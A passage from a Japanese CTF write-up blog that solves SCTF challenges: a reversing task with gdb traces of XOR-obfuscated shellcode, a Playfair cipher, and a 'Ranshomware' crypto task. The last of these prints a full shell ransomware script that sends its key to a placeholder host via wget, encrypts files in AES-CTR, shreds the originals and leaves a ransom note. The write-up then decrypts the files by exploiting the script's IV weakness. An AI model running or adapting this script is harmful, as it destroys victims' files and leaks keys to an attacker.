 b21:	ff 
 b22:	8b 85 8c fe ff ff    	mov    eax,DWORD PTR [rbp-0x174]
 b28:	99                   	cdq    
 b29:	c1 ea 1d             	shr    edx,0x1d
 b2c:	01 d0                	add    eax,edx
 b2e:	83 e0 07             	and    eax,0x7
 b31:	29 d0                	sub    eax,edx
 b33:	c1 e0 03             	shl    eax,0x3
 b36:	48 8b 95 a0 fe ff ff 	mov    rdx,QWORD PTR [rbp-0x160]
 b3d:	89 c1                	mov    ecx,eax
 b3f:	48 d3 ea             	shr    rdx,cl
 b42:	48 89 d0             	mov    rax,rdx
 b45:	31 c6                	xor    esi,eax
 b47:	89 f2                	mov    edx,esi
 b49:	8b 85 8c fe ff ff    	mov    eax,DWORD PTR [rbp-0x174]
 b4f:	48 98                	cdqe   
 b51:	88 94 05 b0 fe ff ff 	mov    BYTE PTR [rbp+rax*1-0x150],dl
 b58:	83 85 8c fe ff ff 01 	add    DWORD PTR [rbp-0x174],0x1
 b5f:	8b 85 8c fe ff ff    	mov    eax,DWORD PTR [rbp-0x174]
 b65:	3b 85 90 fe ff ff    	cmp    eax,DWORD PTR [rbp-0x170]
 b6b:	72 a5                	jb     b12 <fork@plt+0x242>
 b6d:	8b 95 90 fe ff ff    	mov    edx,DWORD PTR [rbp-0x170]
 b73:	48 8d 8d b0 fe ff ff 	lea    rcx,[rbp-0x150]
 b7a:	48 8b 85 98 fe ff ff 	mov    rax,QWORD PTR [rbp-0x168]
 b81:	48 89 ce             	mov    rsi,rcx
 b84:	48 89 c7             	mov    rdi,rax
 b87:	e8 f4 fc ff ff       	call   880 <memcpy@plt>
 b8c:	48 8b 85 98 fe ff ff 	mov    rax,QWORD PTR [rbp-0x168]
 b93:	48 89 85 a8 fe ff ff 	mov    QWORD PTR [rbp-0x158],rax
 b9a:	48 8b 95 a8 fe ff ff 	mov    rdx,QWORD PTR [rbp-0x158]
 ba1:	b8 00 00 00 00       	mov    eax,0x0
 ba6:	ff d2                	call   rdx
 ba8:	89 85 94 fe ff ff    	mov    DWORD PTR [rbp-0x16c],eax
 bae:	83 bd 94 fe ff ff 21 	cmp    DWORD PTR [rbp-0x16c],0x21
 bb5:	75 13                	jne    bca <fork@plt+0x2fa>
 bb7:	e8 e4 fc ff ff       	call   8a0 <getppid@plt>
 bbc:	be 0e 00 00 00       	mov    esi,0xe
 bc1:	89 c7                	mov    edi,eax
 bc3:	e8 c8 fc ff ff       	call   890 <kill@plt>
 bc8:	eb 11                	jmp    bdb <fork@plt+0x30b>
 bca:	e8 d1 fc ff ff       	call   8a0 <getppid@plt>
 bcf:	be 0a 00 00 00       	mov    esi,0xa
 bd4:	89 c7                	mov    edi,eax
 bd6:	e8 b5 fc ff ff       	call   890 <kill@plt>
 bdb:	90                   	nop
 bdc:	48 8b 45 f8          	mov    rax,QWORD PTR [rbp-0x8]
 be0:	64 48 33 04 25 28 00 	xor    rax,QWORD PTR fs:0x28
 be7:	00 00 
 be9:	74 05                	je     bf0 <fork@plt+0x320>
 beb:	e8 50 fc ff ff       	call   840 <__stack_chk_fail@plt>
 bf0:	c9                   	leave  
 bf1:	c3                   	ret    

mmap で rwx な領域を確保して 0xd28 からの内容をいじって書き込み、call しています。何が実行されるか 0xba6 (call rdx) にブレークポイントを置いて実行しましょう。

gdb-peda$ b *0x555555554ba6
Breakpoint 1 at 0x555555554ba6
gdb-peda$ r
...
Breakpoint 1, 0x0000555555554ba6 in ?? ()
gdb-peda$ pdisas $rdx
Dump of assembler code from 0x7ffff7ff5000 to 0x7ffff7ff5020::  Dump of assembler code from 0x7ffff7ff5000 to 0x7ffff7ff5020:
   0x00007ffff7ff5000:  jmp    0x7ffff7ff5003
...

0x7ffff7ff5003 にジャンプしています。

gdb-peda$ pdisas 0x7ffff7ff5003
Dump of assembler code from 0x7ffff7ff5003 to 0x7ffff7ff5023::  Dump of assembler code from 0x7ffff7ff5003 to 0x7ffff7ff5023:
   0x00007ffff7ff5003:  sub    rsp,0x1337
   0x00007ffff7ff500a:  jmp    0x7ffff7ff500d
...
gdb-peda$ pdisas 0x7ffff7ff500d
Dump of assembler code from 0x7ffff7ff500d to 0x7ffff7ff502d::  Dump of assembler code from 0x7ffff7ff500d to 0x7ffff7ff502d:
   0x00007ffff7ff500d:  jmp    0x7ffff7ff5010
...
gdb-peda$ pdisas 0x7ffff7ff5010
Dump of assembler code from 0x7ffff7ff5010 to 0x7ffff7ff5030::  Dump of assembler code from 0x7ffff7ff5010 to 0x7ffff7ff5030:
   0x00007ffff7ff5010:  push   rcx
   0x00007ffff7ff5011:  jmp    0x7ffff7ff5014
...

これが延々繰り返されています。実行されている命令をまとめると以下のようになりました。

sub rsp,0x1337
push rcx
push rdi
push rsi
push rdx
push rbx
sub rsp,0x100
xor rax,rax
mov edi,0x0 # read
mov rsi,rsp
mov rdx,0x100
syscall
mov rbx,rsi
add rsp,0x100
call label_1
label_1:
  pop rax
  xor rcx,rcx
label_2:
  cmp BYTE PTR [rax],0x0
  je label_3
  jmp label_4
label_3:
  mov rax,rcx
  pop rbx
  pop rdx
  pop rsi
  pop rdi
  pop ecx
  add rsp,0x1337
  ret
label_4:
  mov ebx,DWORD PTR [rsi]
  and ebx,0xff
  xor ebx,0xde
  cmp bl,BYTE PTR [rax]
  je label_5
  jmp label_6
label_5:
  inc rsi
  inc rax
  inc rcx
  jmp label_2
label_6:
  inc rsi
  inc rax
  jmp label_2

label_4 辺りで入力した文字列とフラグとの比較を行っています。cmp bl,BYTE PTR [rax] にブレークポイントを置いてフラグを手に入れましょう。

gdb-peda$ b *0x7ffff7ff50a8
Breakpoint 2 at 0x7ffff7ff50a8
gdb-peda$ c
Continuing.
hoge
...
Breakpoint 2, 0x00007ffff7ff5091 in ?? ()
gdb-peda$ x/s $rax
0x7ffff7ff511c: "\215\235\212\230\245\273\277\254\262\247\201\273\277\254\262\247\201\255\253\260\272\277\247\201\263\261\254\260\267\260\271", <incomplete sequence \341\243>
$ python2
Python 2.7.9 (default, Mar  1 2015, 12:57:24) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> xor("\215\235\212\230\245\273\277\254\262\247\201\273\277\254\262\247\201\255\253\260\272\277\247\201\263\261\254\260\267\260\271\341\243", 0xde)
'SCTF{early_early_sunday_morning?}'
SCTF{early_early_sunday_morning?}

[Crypto 100] Ranshomware

ranshomware.zip というファイルが与えられました。展開すると以下のファイルが出てきました。

$ unzip ranshomware.zip 
Archive:  ranshomware.zip
  inflating: README                  
  inflating: ranshomware.sh          
   creating: ranshomwared/
   creating: ranshomwared/cd/
  inflating: ranshomwared/cd/debian-40r9-amd64-businesscard.iso  
  inflating: ranshomwared/cd/encrypted.txt  
   creating: ranshomwared/flags/
 extracting: ranshomwared/flags/flag.txt  
  inflating: ranshomwared/flags/encrypted.txt  
  inflating: ranshomwared/encrypted.txt  

ransomware.sh は以下のような内容でした。

#!/bin/sh

key="$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 64 | head -1)"
ekey="$(echo "$key" | openssl dgst -sha512 -hex | tail -c 128)"
iv=0

wget "http://cac.example.com/?key=$key" -q -O /dev/null

function ranshomware () {
    local f;
    f="$1";
    iv=$[ $iv + 1]
    if [ -d "$f" ]; then
        for sf in "$f"/*; do ranshomware "$sf"; done;
        echo "All your files have been encrypted, pay us a lot of money to our account and we'll give them back to you. Say $ekey so we can give you the right key" > "$f"/encrypted.txt
    fi
    if [ -f "$f" ]; then
        openssl enc -e -aes-256-ctr -iv "$(printf "%032x" "$iv")" -K "$key" -in "$f" -out "$f.enc";
        shred "$f"
        mv "$f".enc "$f"
    fi;
}

ranshomware ranshomwared

ranshomwared/cd/debian-40r9-amd64-businesscard.iso をファイル名でググると、元のファイルが見つかりました。

CTR モードで暗号化されていることを利用して、以下のスクリプトで復号できました。

def xor(a, b):
  return bytes(x ^ y for x, y in zip(a, b))

s = open('ranshomwared/cd/debian-40r9-amd64-businesscard.iso', 'rb').read()
t = open('orig/debian-40r9-amd64-businesscard.iso', 'rb').read()
flag = open('ranshomwared/flags/flag.txt','rb').read()

xored = xor(s[:32+len(flag)], t[:32+len(flag)])
print(xor(flag, xored[32:]))
$ python s.py
b"Hi man, I'm glad you solved this challenge!\n\nSo the flag? SURE!\n\nSCTF{MISSHANDLED_IVS_ARE_AWFUL_FOR_HEALTH_0H_4lM057_11k3_1337!}\n\n\nWell, there is the flag, I hope you enjoy the rest of the challenges :)\n\n"
SCTF{MISSHANDLED_IVS_ARE_AWFUL_FOR_HEALTH_0H_4lM057_11k3_1337!}

[Crypto 50] Fair play!

fairplay.tar.gz というファイルが与えられました。展開すると chall.txt という暗号文の書かれた 3.82 KB のテキストファイルが出てきました。

どのような文字が含まれるか調べてみましょう。

>python2
Python 2.7.10 (default, May 23 2015, 09:40:32) [MSC v.1500 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> s = open('chall.txt').read()
>>> sorted(set(s))
['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']

J がありません。問題名からして恐らく Playfair 暗号でしょう。調べてみると、ソルバが見つかりました。これを使うと以下のような出力が得られました。

$ ./playn chall.txt
...
score: 11.628835
keysquare: FTGULOKBVCARNDQYEPWXHMZIS

あとは得られた情報から暗号文を復号するとフラグが得られました。

PLAYFAIRISAFUNCIPHERTOCRACKDONTYOUTHINKSO
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳